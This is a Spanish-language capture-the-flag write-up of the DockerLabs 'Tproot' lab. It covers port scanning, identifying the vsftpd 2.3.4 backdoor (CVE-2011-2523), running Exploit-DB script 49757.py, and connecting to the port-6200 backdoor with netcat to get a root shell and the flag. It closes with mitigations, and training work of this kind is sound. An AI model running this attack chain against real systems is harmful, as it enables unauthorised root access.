Saltar al contenido principal

Tproot Lab

Estado: completado

Fecha: 01/10/2026

Plataforma: DockerLabs

Dificultad: Muy Fácil

Diploma de finalización​

alt text

Alcance y objetivo​

Objetivo autorizado: 172.17.0.2

Tipo de entorno: contenedor vulnerable

Objetivo de aprendizaje: identificar servicios expuestos, determinar versiones vulnerables, localizar un exploit público y obtener acceso al sistema mediante la vulnerabilidad de vsftpd 2.3.4.

El laboratorio fue descargado desde DockerLabs y levantado siguiendo el mismo procedimiento utilizado para los laboratorios anteriores.

El análisis se realizó exclusivamente contra el contenedor autorizado 172.17.0.2.

Resumen ejecutivo​

El reconocimiento inicial identificó los puertos 21/tcp y 80/tcp. La enumeración de versiones permitió determinar que el servicio FTP utilizaba vsftpd 2.3.4, versión asociada a la vulnerabilidad CVE-2011-2523.

Mediante searchsploit se localizó un exploit público para la backdoor de vsftpd 2.3.4. Aunque el script Python produjo inicialmente un error al intentar conectarse al puerto 6200, una comprobación posterior confirmó que dicho puerto estaba abierto.

La conexión directa mediante nc permitió obtener una shell con privilegios root. Desde /root se obtuvo la flag final del laboratorio:

261fd3f32200f950f231816b4e9a0594

Por lo tanto, el acceso inicial y el máximo privilegio fueron obtenidos mediante el mismo vector de explotación.


Reconocimiento remoto

Escaneo completo de puertos​

Se realizó un escaneo TCP de todos los puertos:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2

Explicación del comando​

ParteSignificado
sudoEjecuta Nmap con privilegios elevados.
nmapHerramienta utilizada para descubrir puertos y servicios de red.
-p-Escanea todos los puertos TCP, del 1 al 65535.
--openMuestra únicamente los puertos identificados como abiertos.
-sSRealiza un SYN Scan TCP.
--min-rate 5000Solicita una tasa mínima de aproximadamente 5000 paquetes por segundo.
-vvvUtiliza un nivel elevado de verbosidad.
-nEvita la resolución DNS.
-PnOmite el descubrimiento convencional del host y trata al objetivo como activo.
172.17.0.2Dirección IP del contenedor autorizado.

Resultado​

21/tcp open ftp
80/tcp open http

alt text

Se identificaron dos puertos TCP abiertos:

PuertoServicioEvidenciaPróximo paso
21/tcpFTPPuerto abiertoIdentificar versión y configuración
80/tcpHTTPPuerto abiertoIdentificar servidor y contenido web

El puerto 21/tcp fue priorizado debido a que la versión del servidor FTP podía revelar una vulnerabilidad conocida.

alt text


Enumeración de servicios

Enumeración de versiones​

Se realizó una enumeración más detallada sobre los puertos encontrados:

sudo nmap -sCV -p 21,80 172.17.0.2

Explicación del comando​

ParteSignificado
sudoEjecuta Nmap con privilegios elevados.
nmapHerramienta de reconocimiento de red.
-sCEjecuta scripts NSE considerados estándar.
-sVIntenta identificar las versiones concretas de los servicios.
-p 21,80Limita el análisis a los puertos 21 y 80.
172.17.0.2Objetivo autorizado.

Resultado​

21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/var/ftp".

80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)

alt text

Tabla de servicios​

PuertoServicioVersiónHallazgo
21/tcpFTPvsftpd 2.3.4Versión asociada a una backdoor conocida
80/tcpHTTPApache 2.4.58Página por defecto de Apache
21/tcpFTPAnónimoEl script detectó un error al intentar acceder a /var/ftp

El hallazgo más relevante fue:

vsftpd 2.3.4

Esta versión está asociada a la vulnerabilidad CVE-2011-2523, relacionada con una versión de vsftpd distribuida con una backdoor.


Búsqueda de exploits

Para comprobar si existían exploits públicos asociados a la versión encontrada se utilizó:

searchsploit "vsftpd 2.3.4"

Explicación​

ParteSignificado
searchsploitHerramienta local para buscar exploits disponibles en Exploit-DB.
"vsftpd 2.3.4"Término utilizado para buscar exploits relacionados con esa versión.

Resultado​

vsftpd 2.3.4 - Backdoor Command Execution

vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)

alt text

Se encontraron dos implementaciones:

ExploitArchivoTipo
Backdoor Command Executionunix/remote/49757.pyPython
Backdoor Command Executionunix/remote/17491.rbMetasploit

Se decidió utilizar inicialmente la implementación Python para comprender directamente el funcionamiento del exploit.


Descarga del exploit

Se utilizó:

searchsploit -m 49757

Explicación​

ParteSignificado
searchsploitHerramienta de búsqueda de Exploit-DB.
-mmirror: copia el exploit encontrado al directorio actual.
49757Identificador del exploit en Exploit-DB.

El resultado indicó:

Exploit: vsftpd 2.3.4 - Backdoor Command Execution
Path: /usr/share/exploitdb/exploits/unix/remote/49757.py
Codes: CVE-2011-2523
Verified: True
Copied to: /home/kali/Downloads/49757.py

alt text

El exploit quedó disponible localmente como:

49757.py

alt text


Verificación del archivo

Se verificó que el exploit estuviera presente:

ls -l

Análisis del exploit

Antes de ejecutarlo se revisó su código:

cat 49757.py

alt text

El exploit utiliza:

portFTP = 21
user="USER nergal:)"
password="PASS pass"

alt text

y posteriormente intenta conectarse a:

tn2=Telnet(host, 6200)

alt text

La lógica simplificada del exploit es:

Conectarse a FTP/21
↓
Enviar usuario especialmente construido
↓
Activar la backdoor
↓
La backdoor abre TCP/6200
↓
Conectarse a TCP/6200
↓
Obtener shell

Componentes relevantes del código​

CódigoFunción
Telnet(host, portFTP)Conecta con el servicio FTP en el puerto 21.
USER nergal:)Envía la cadena que activa la condición vulnerable.
PASS passCompleta la interacción FTP necesaria para activar la backdoor.
Telnet(host, 6200)Intenta conectarse al listener creado por la backdoor.
tn2.interact()Permite interactuar con la conexión obtenida.

Acceso inicial

Ejecución del exploit​

Se ejecutó:

python3 49757.py 172.17.0.2

Explicación​

ParteSignificado
python3Ejecuta el script utilizando Python 3.
49757.pyExploit descargado desde Exploit-DB.
172.17.0.2Dirección del objetivo autorizado.

El script produjo inicialmente:

ConnectionRefusedError: [Errno 111] Connection refused

alt text

El error se produjo cuando el script intentó realizar:

Telnet(host, 6200)

Esto indicaba que en ese instante la conexión al puerto 6200 había sido rechazada.

Sin embargo, no se concluyó inmediatamente que la explotación hubiera fallado, por lo que se realizó una nueva comprobación del puerto.


Validación del listener de la backdoor

Se realizó un nuevo escaneo:

sudo nmap -p 21,80,6200 172.17.0.2

Explicación​

ParteSignificado
sudoEjecuta Nmap con privilegios elevados.
nmapHerramienta de reconocimiento.
-p 21,80,6200Analiza específicamente los puertos 21, 80 y 6200.
172.17.0.2Objetivo autorizado.

Resultado​

21/tcp open ftp
80/tcp open http
6200/tcp open lm-x

alt text

El resultado confirmó que:

6200/tcp open

existía un servicio escuchando en el puerto 6200.

La situación observada fue:

vsftpd 2.3.4
↓
Exploit
↓
Backdoor activada
↓
6200/tcp abierto

Por lo tanto, se realizó una conexión directa al listener.


Conexión a la shell

Se utilizó nc:

nc 172.17.0.2 6200

alt text

Explicación​

ParteSignificado
ncNetcat, herramienta utilizada para realizar conexiones de red.
172.17.0.2Dirección IP del objetivo.
6200Puerto TCP donde la backdoor estaba escuchando.

Una vez establecida la conexión se ejecutó:

whoami

Resultado:

root

Posteriormente:

id

Resultado:

uid=0(root) gid=0(root) groups=0(root)

Finalmente:

hostname

Resultado:

dockerlabs

alt text

Confirmación del acceso​

ComandoResultadoInterpretación
whoamirootLa sesión pertenece al usuario root.
iduid=0(root)El UID 0 confirma privilegios de root.
hostnamedockerlabsConfirma el nombre del contenedor comprometido.

El acceso obtenido fue:

Usuario: root
UID: 0
Hostname: dockerlabs

alt text


Enumeración local de Linux

En este laboratorio la shell obtenida mediante la backdoor ya tenía privilegios root.

Por este motivo, no fue necesario realizar una escalada de privilegios posterior.

La evidencia del contexto de ejecución fue:

whoami
id
hostname

alt text

Resultado:

whoami
root

id
uid=0(root) gid=0(root) groups=0(root)

hostname
dockerlabs

El acceso inicial ya proporcionó el máximo nivel de privilegio del sistema.


Permisos y posibles vectores de escalada

No se realizó una enumeración de sudo, SUID, capabilities o cron para conseguir privilegios adicionales, ya que la explotación del servicio FTP había proporcionado directamente root.

VectorEstadoMotivo
sudo -lNo necesarioLa sesión ya era root.
SUID/SGIDNo necesarioLa sesión ya era root.
CapabilitiesNo necesarioLa sesión ya era root.
Cron/timersNo necesarioLa sesión ya era root.

Escalada de privilegios

Resultado​

No hubo una escalada de privilegios tradicional.

La vulnerabilidad explotada en vsftpd 2.3.4 permitió obtener directamente una shell con UID 0.

Condición:

Backdoor presente en vsftpd 2.3.4

Validación:

Conexión a TCP/6200 mediante Netcat

Resultado:

uid=0(root)

La cadena fue:

Reconocimiento
↓
21/tcp FTP
↓
vsftpd 2.3.4
↓
Identificación de CVE-2011-2523
↓
Exploit 49757.py
↓
Backdoor
↓
6200/tcp
↓
Netcat
↓
root

Evidencias y flags

Evidencia de acceso​

La evidencia principal del compromiso fue:

whoami
root

id
uid=0(root) gid=0(root) groups=0(root)

hostname
dockerlabs

Esto demuestra que la explotación permitió obtener ejecución de comandos como root.

Enumeración del directorio inicial​

Una vez dentro de la shell se ejecutó:

ls

El resultado mostró numerosos archivos relacionados con el código fuente y compilación de vsftpd, incluyendo:

vsftpd
vsftpd.conf
vsftpd.conf.5
main.c
main.o
prelogin.c
prelogin.o
postlogin.c
postlogin.o

Este contenido proporcionó evidencia adicional del entorno sobre el que se obtuvo acceso.

Obtención de la flag de root​

Se accedió al directorio /root:

cd /root

Posteriormente se verificó su contenido:

ls

Resultado:

root.txt

alt text

Finalmente se obtuvo la flag:

cat root.txt

Resultado:

261fd3f32200f950f231816b4e9a0594

alt text

Flags​

FlagComandoResultado
Flag de rootcat /root/root.txt261fd3f32200f950f231816b4e9a0594

Evidencia completa​

whoami
root

id
uid=0(root) gid=0(root) groups=0(root)

cd /root

ls
root.txt

cat root.txt
261fd3f32200f950f231816b4e9a0594

alt text

La obtención de root.txt confirma el compromiso completo del objetivo y la obtención del máximo nivel de privilegio disponible en el contenedor.


Mitigación y aprendizajes

Mitigación​

La vulnerabilidad principal debe corregirse eliminando la versión vulnerable de vsftpd.

Medidas recomendadas:

  • Actualizar vsftpd a una versión segura y soportada.
  • Evitar utilizar software con versiones conocidas por contener backdoors.
  • Mantener un inventario de versiones de servicios expuestos.
  • Restringir la exposición de FTP cuando no sea necesario.
  • Monitorizar conexiones y servicios inesperados en puertos no habituales.
  • Utilizar mecanismos de autenticación y transferencia de archivos seguros cuando sea posible.
  • Revisar periódicamente los servicios expuestos desde el exterior del sistema.

Aprendizajes​

  • Un escaneo completo de puertos permite identificar servicios que no aparecen en un escaneo limitado.
  • La enumeración de versiones es fundamental para relacionar un servicio con vulnerabilidades conocidas.
  • searchsploit permite localizar rápidamente exploits disponibles en Exploit-DB.
  • Revisar el código de un exploit permite comprender qué condiciones espera encontrar en el objetivo.
  • Un error del exploit no necesariamente significa que toda la explotación haya fallado.
  • La comprobación posterior de 6200/tcp permitió confirmar que la backdoor había dejado un listener activo.
  • nc permitió conectarse directamente al listener y obtener una shell.
  • whoami e id son comprobaciones fundamentales para determinar el nivel de privilegios obtenido.
  • En este laboratorio no fue necesario realizar una escalada de privilegios porque el vector inicial proporcionó directamente root.
  • La lectura de /root/root.txt permitió confirmar la finalización del laboratorio mediante la obtención de la flag.

Cadena completa del ataque

┌─────────────────────────────┐
│ DockerLabs │
│ 172.17.0.2 │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ Nmap -p- │
│ │
│ 21/tcp FTP │
│ 80/tcp HTTP │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ Nmap -sCV │
│ │
│ vsftpd 2.3.4 │
│ Apache 2.4.58 │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ Searchsploit │
│ │
│ CVE-2011-2523 │
│ Backdoor Command Execution │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ 49757.py │
│ │
│ Exploit vsftpd 2.3.4 │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ TCP/6200 │
│ │
│ Backdoor listener │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ nc 172.17.0.2 6200 │
│ │
│ SHELL │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ ROOT │
│ │
│ uid=0(root) │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ /root/root.txt │
│ │
│ 261fd3f32200f950f231816b4e9a0594 │
└─────────────────────────────┘